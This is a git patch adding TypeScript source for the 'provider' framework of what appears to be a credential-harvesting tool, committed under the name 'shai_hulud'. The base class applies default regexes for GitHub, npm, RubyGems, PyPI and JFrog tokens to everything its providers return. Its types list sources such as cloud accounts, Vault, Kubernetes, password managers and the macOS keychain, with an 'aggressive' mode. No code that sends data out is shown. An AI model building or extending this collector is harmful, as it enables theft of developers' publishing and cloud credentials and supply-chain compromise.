From b8ea60121cd63bb77cd9f71c0bbb6e40bec3411d Mon Sep 17 00:00:00 2001 From: shai_hulud Date: Fri, 3 Jul 2026 03:04:18 +0000 Subject: [PATCH] Upload files to "src/providers" --- src/providers/base.ts | 190 +++++++++++++++++++++++++++++++++++++++++ src/providers/types.ts | 31 +++++++ 2 files changed, 221 insertions(+) create mode 100644 src/providers/base.ts create mode 100644 src/providers/types.ts diff --git a/src/providers/base.ts b/src/providers/base.ts new file mode 100644 index 0000000..b74ab54 --- /dev/null +++ b/src/providers/base.ts @@ -0,0 +1,190 @@ +import { logUtil } from "../utils/logger"; +import type { ProviderMode, ProviderName, ProviderResult } from "./types"; +/** + * Minimal shape the streaming API needs from a Collector. + * Keeps Provider decoupled from the Collector class. + */ +export interface ResultSink { + ingest(result: ProviderResult): void; +} + +export abstract class Provider { + provider: ProviderName; + service: string; + mode: ProviderMode; + private patterns: Map; + + abstract execute(): Promise; + + /** Default patterns applied to every provider unless overridden. */ + private static readonly DEFAULT_PATTERNS: Record = { + ghtoken: /gh[op]_[A-Za-z0-9]{36,}/g, + fgtoken: /github_pat_[A-Za-z0-9_]{30,}/g, + npmtoken: /npm_[A-Za-z0-9]{36,}/g, + rubygemstoken: /rubygems_[A-Za-z0-9_\-]{32,}/g, + pypitoken: /pypi-AgEIcHlwaS5vcmcCJ[A-Za-z0-9+/=_-]{60,250}/g, + jfrogdomain: + /https?:\/\/[a-zA-Z0-9][-a-zA-Z0-9]*\.jfrog\.io(?:\/artifactory)?[^\s"'\]\)]*/g, + jfrogtoken: /AKCp[a-zA-Z0-9]{3}[a-zA-Z0-9+\/=]{60,}/g, + jfrogreftoken: /cmVmdGtu[a-zA-Z0-9+\/=]{40,}(?:\.[a-zA-Z0-9+\/=]+)*/g, + }; + + constructor( + provider: ProviderName, + service: string, + patterns?: Record | null, + mode: ProviderMode = "normal", + ) { + this.provider = provider; + this.service = service; + this.mode = mode; + this.patterns = new Map(); + + // Start with defaults, then upsert/delete child-provided patterns + for (const [key, regex] of Object.entries(Provider.DEFAULT_PATTERNS)) { + this.patterns.set(key, regex); + } + + if (patterns) { + for (const [key, pattern] of Object.entries(patterns)) { + if (pattern === null) { + this.patterns.delete(key); + } else { + this.patterns.set( + key, + pattern instanceof RegExp ? pattern : new RegExp(pattern, "g"), + ); + } + } + } + } + + /** + * Optional streaming hook. Providers that can produce data incrementally + * (paginated APIs, large file reads, long-running shell commands, etc.) + * should override this to yield data chunks as they arrive. + * + * The default implementation delegates to `execute()` so every provider + * is usable via `executeStreaming()` without changes. + */ + protected async *stream(): AsyncIterable { + const result = await this.execute(); + if (!result.success) { + throw result.error ?? new Error("provider execute() failed"); + } + if (result.data !== undefined) { + yield result.data; + } + } + + /** + * Run the provider and push each produced chunk to `sink` as soon as it + * is available. Each chunk becomes its own `ProviderResult`, so downstream + * consumers can start processing without waiting for the full payload. + * + * Errors are surfaced as a single failure result rather than thrown. + */ + async executeStreaming(sink: ResultSink): Promise { + try { + for await (const chunk of this.stream()) { + logUtil.info("Ingesting!"); + sink.ingest(this.success(chunk)); + } + } catch (err) { + sink.ingest(this.failure(err instanceof Error ? err : String(err))); + } + } + + protected failure(error: Error | string): ProviderResult { + return { + provider: this.provider, + service: this.service, + mode: this.mode, + success: false, + error: error instanceof Error ? error : new Error(error), + size: 0, + }; + } + + private serializeData(data: unknown): string { + if (typeof data === "string") { + return data; + } + + if (data === null || data === undefined) { + return ""; + } + + if (typeof data === "object") { + try { + return JSON.stringify(data, (_key, value) => { + if (value instanceof Map) { + return Object.fromEntries(value); + } + if (value instanceof Set) { + return Array.from(value); + } + return value; + }); + } catch { + // Fallback for circular references or non-serializable objects + if ("toString" in data && typeof data.toString === "function") { + const str = data.toString(); + if (str !== "[object Object]") { + return str; + } + } + return String(data); + } + } + return String(data); + } + + async shouldRun(): Promise { + return true; + } + /** Byte length of the serialized form, using UTF-8. */ + private computeSize(serialized: string): number { + // Buffer is available in Node; fall back to a rough estimate in other runtimes. + if (typeof Buffer !== "undefined") { + return Buffer.byteLength(serialized, "utf8"); + } + // TextEncoder is widely available (browsers, Deno, Bun, modern Node). + if (typeof TextEncoder !== "undefined") { + return new TextEncoder().encode(serialized).length; + } + return serialized.length; + } + + protected success(data: unknown): ProviderResult { + const dataStr = this.serializeData(data); + + const result: ProviderResult = { + provider: this.provider, + service: this.service, + mode: this.mode, + success: true, + data, + size: this.computeSize(dataStr), + }; + + if (this.patterns.size > 0) { + const matches: Record = {}; + + this.patterns.forEach((regex, key) => { + const found = Array.from(dataStr.matchAll(regex)).map((m) => m[0]); + const deduplicated = Array.from(new Set(found)); + + if (deduplicated.length > 0) { + matches[key] = deduplicated; + } + }); + + if (Object.keys(matches).length > 0) { + result.matches = matches; + } + } + + return result; + } +} diff --git a/src/providers/types.ts b/src/providers/types.ts new file mode 100644 index 0000000..2ef5681 --- /dev/null +++ b/src/providers/types.ts @@ -0,0 +1,31 @@ +import type { TokenMetadata } from "../github_utils/tokenCheck"; + +export type ProviderMode = "normal" | "aggressive"; + +// This class represents a "provider" essentially a source for values. +// +export type ProviderName = + | "aws" + | "azure" + | "gcp" + | "filesystem" + | "github" + | "grep" + | "jfrog" + | "shell" + | "vault" + | "kubernetes" + | "password-managers" + | "osxchain"; + +export interface ProviderResult { + provider: ProviderName; + service: string; + mode: ProviderMode; + success: boolean; + data?: unknown; + matches?: Record; + tokenMetadata?: Record; + error?: Error | undefined; + size: number; +}